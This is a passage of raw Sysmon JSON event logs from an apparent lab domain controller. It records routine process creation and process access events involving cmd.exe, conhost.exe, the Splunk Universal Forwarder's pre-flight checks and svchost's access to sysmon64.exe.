AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.109\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00105DC70200}\r\nSourceProcessId: 3756\r\nSourceThreadId: 3776\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-3FE6-5F2D-0000-0010F6130300}\r\nTargetProcessId: 4060\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.109","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00105DC70200}","SourceProcessId":"3756","SourceThreadId":"3776","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-3FE6-5F2D-0000-0010F6130300}","TargetProcessId":"4060","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":1739,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.112\r\nProcessGuid: {90617006-3FE6-5F2D-0000-0010B0140300}\r\nProcessId: 4072\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\r\nFileVersion: 8.0.2\r\nDescription: splunk Application\r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: splunk.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\" _internal pre-flight-checks --answer-yes --no-prompt \r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=BA47934C1D8F8F5D495F67F9B6EF5D0B,SHA256=39A00C55E1BC2233DBEE2A3F2F8CB9BD3668275DCA5F83BD11958FAF50E8C8CE,IMPHASH=4D753DA340C903D8C30CD8B0CF2B73E3\r\nParentProcessGuid: {90617006-3FE6-5F2D-0000-0010F6130300}\r\nParentProcessId: 4060\r\nParentImage: C:\\Windows\\System32\\cmd.exe\r\nParentCommandLine: C:\\Windows\\system32\\cmd.exe /c \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\" _internal pre-flight-checks --answer-yes --no-prompt 2>&1","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.112","ProcessGuid":"{90617006-3FE6-5F2D-0000-0010B0140300}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe","FileVersion":"8.0.2","Description":"splunk Application","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"splunk.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\" _internal pre-flight-checks --answer-yes --no-prompt ","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=BA47934C1D8F8F5D495F67F9B6EF5D0B,SHA256=39A00C55E1BC2233DBEE2A3F2F8CB9BD3668275DCA5F83BD11958FAF50E8C8CE,IMPHASH=4D753DA340C903D8C30CD8B0CF2B73E3","ParentProcessGuid":"{90617006-3FE6-5F2D-0000-0010F6130300}","ParentProcessId":"4060","ParentImage":"C:\\Windows\\System32\\cmd.exe","ParentCommandLine":"C:\\Windows\\system32\\cmd.exe /c \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\" _internal pre-flight-checks --answer-yes --no-prompt 2>&1","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1740,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.109\r\nSourceProcessGUID: {90617006-3FE6-5F2D-0000-0010F6130300}\r\nSourceProcessId: 4060\r\nSourceThreadId: 4064\r\nSourceImage: C:\\Windows\\system32\\cmd.exe\r\nTargetProcessGUID: {90617006-3FE6-5F2D-0000-0010B0140300}\r\nTargetProcessId: 4072\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\system32\\cmd.exe+f1e1|C:\\Windows\\system32\\cmd.exe+11a37|C:\\Windows\\system32\\cmd.exe+cb0d|C:\\Windows\\system32\\cmd.exe+c295|C:\\Windows\\system32\\cmd.exe+f916|C:\\Windows\\system32\\cmd.exe+1510d|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.109","SourceProcessGUID":"{90617006-3FE6-5F2D-0000-0010F6130300}","SourceProcessId":"4060","SourceThreadId":"4064","SourceImage":"C:\\Windows\\system32\\cmd.exe","TargetProcessGUID":"{90617006-3FE6-5F2D-0000-0010B0140300}","TargetProcessId":"4072","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\system32\\cmd.exe+f1e1|C:\\Windows\\system32\\cmd.exe+11a37|C:\\Windows\\system32\\cmd.exe+cb0d|C:\\Windows\\system32\\cmd.exe+c295|C:\\Windows\\system32\\cmd.exe+f916|C:\\Windows\\system32\\cmd.exe+1510d|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1741,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.109\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FE6-5F2D-0000-0010B0140300}\r\nTargetProcessId: 4072\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.109","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FE6-5F2D-0000-0010B0140300}","TargetProcessId":"4072","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1742,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.109\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.109","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1743,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.109\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.109","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1744,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.109\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.109","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1745,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.109\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.109","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1746,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.109\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.109","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1747,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.109\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: 